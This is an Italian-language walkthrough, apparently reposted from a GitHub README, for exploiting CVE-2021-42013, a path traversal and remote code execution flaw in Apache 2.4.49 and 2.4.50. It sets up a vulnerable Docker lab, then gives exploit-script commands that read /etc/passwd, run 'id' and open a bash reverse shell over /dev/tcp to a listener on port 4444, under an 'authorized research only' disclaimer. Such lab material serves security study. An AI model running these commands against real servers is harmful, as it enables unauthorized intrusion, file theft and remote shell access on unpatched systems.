CVE-2021-42013 - Apache 2.4.50 Path Traversal & Remote Code Execution (RCE)

---

⚠️ Solo per scopi educativi e di ricerca sulla sicurezza autorizzata

Autori Originali dell'Exploit

Molto grati all'autore originale del PoC Walnut Security Services Pvt. Ltd

Descrizione

Un attaccante potrebbe utilizzare un attacco di path traversal per mappare URL a file al di fuori delle directory configurate da direttive simili ad Alias. Se i file al di fuori di queste directory non sono protetti dalla consueta configurazione predefinita "require all denied", queste richieste possono avere successo. Se anche gli script CGI sono abilitati per questi percorsi alias, ciò potrebbe consentire l'esecuzione remota di codice. Questo problema riguarda solo Apache 2.4.49 e Apache 2.4.50 e non versioni precedenti.

---

Guide Passo Passo

1. Prima, clona il repository

   root@kitploit:~

   git clone https://github.com/asepsaepdin/CVE-2021-42013.git
   

2. Cambia directory

   root@kitploit:~

   cd CVE-2021-42013
   

3. Crea il container vulnerabile

   root@kitploit:~

   docker build -t CVE-2021-42013 .
   

4. Esegui il container effimero

   root@kitploit:~

   docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
   

5. Controlla l'indirizzo IP del container

   root@kitploit:~

   docker inspect CVE-2021-42013 | grep "IPAddress"
   

6. Dai il permesso di esecuzione allo script

   root@kitploit:~

   chmod +x cve-2021-42013.sh
   

7. Per testare e confermare il path traversal, è necessario scoprire una directory valida che in questo caso è configurata come /icons. Quindi, eseguendo il seguente comando si attiverebbe la vulnerabilità di path traversal e stamperebbe il contenuto di /etc/passwd:

   root@kitploit:~

   ./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
   

8. Per testare e confermare l'esecuzione remota di codice, CGI deve essere configurato e abilitato, cosa che in questo caso è vera. Quindi, eseguendo il seguente comando si attiverebbe l'esecuzione remota di codice e stamperebbe l'output del comando id:

   root@kitploit:~

   ./cve-2021-42013.sh 172.17.0.3 /bin/bash id
   

9. Dal punto di vista dell'attaccante, l'esecuzione remota di codice è critica per ottenere accesso a una shell interattiva. Quindi, eseguendo il seguente comando si attiverebbe una reverse shell convenzionale su tcp basata su bash verso il sistema dell'attaccante sulla porta 4444/tcp:

   root@kitploit:~

   ./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
   

   root@kitploit:~

   nc -nlvp 4444
   

---

Crediti

• https://github.com/walnutsecurity/cve-2021-42013
• https://nvd.nist.gov/vuln/detail/CVE-2021-42013
• https://www.exploit-db.com/docs/50552
• https://www.exploit-db.com/exploits/50406